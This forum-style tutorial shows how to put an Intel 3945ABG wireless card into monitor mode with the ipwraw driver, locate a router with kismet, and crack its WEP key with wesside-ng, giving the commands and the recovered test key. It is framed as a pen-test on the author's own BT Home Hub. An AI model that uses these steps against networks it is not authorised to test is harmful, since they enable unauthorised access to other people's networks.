So, how do you know this guide is for you? A nice quick way is to do
- Code: Select all
lspci | grep 3945ABG
You’ll get something like:
- Code: Select all
02:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)
If so, move on, you’re doing well.
The first thing to note is that the default driver for this card is called `iwl3945`. Using an `iwconfig` will get you something like:
airmon-ng tells us:
- Code: Select all
Interface Chipset Driverwlan0 iwl3945 – [phy0]
If you were to try tell airmon-ng to enable monitor mode on wlan0, you’d get an error like:
- Code: Select all
/usr/local/sbin/airmon-ng: line 338: /sys/class/ieee80211/phy0/add_iface: Permission denied
mon0: ERROR while getting interface flags: No such device
So you need to do the following:
- Code: Select all
# modprobe -r iwl3945
# modprobe ipwraw
Then do an iwconfig, and you’ll see this…
This wifi0 device can go into monitor mode:
Now to find your network to pen-test (and of course, only do this on hardware you own. In this case we’re going to use the BT Home Hub we have here).
First edit /usr/local/etc/kismet.conf in you fave editor. We’re only going to change a single line, so no need to load anything fancy (I myself use nano, but use what you’d like)
Scroll down to the “source=” line. You’ll want to alter the source line to read something like:
- Code: Select all
source=iwl3945,wifi0,Intel
Save your changes, and start kismet. Find the network you’re looking for (pressing ’s’ and then ‘f’ for first-seen sort order), then press ‘i’ to get the following info:
Note down the MAC address of the router, exit kismet.
Now the fun part. wesside-ng takes the tedious work out of getting all the IV packets and running aircrack-ng on them to get the key. To use wesside-ng:
- Code: Select all
wesside-ng -i wifi0 -v {BSSID}
In our case, we’ll put in the BSSID of the target network, 00:14:7F:A1:97:39.
Here’s wesside-ng after successful authentication:
Here we’re cracking the key:
Tada, it found the test key, E723F7D5E8 (Yes, it’s a 64-bit key for speed and testing).
Now we need to prove this is correct. Reverse the drivers:
- Code: Select all
# modprobe -r ipwraw
# modprobe iwl3945
Fire up your chosen network finder (The wireless assistant will suffice here), find the network in question and click “connect”. Enter in the key we just found.
There we go, success:
I hope this helps those who are stuck getting the Intel card to inject.
Thanks to Neothemic for this tutorial : http://www.neothermic.com/phpBB/viewtopic.php?f=4&t=138
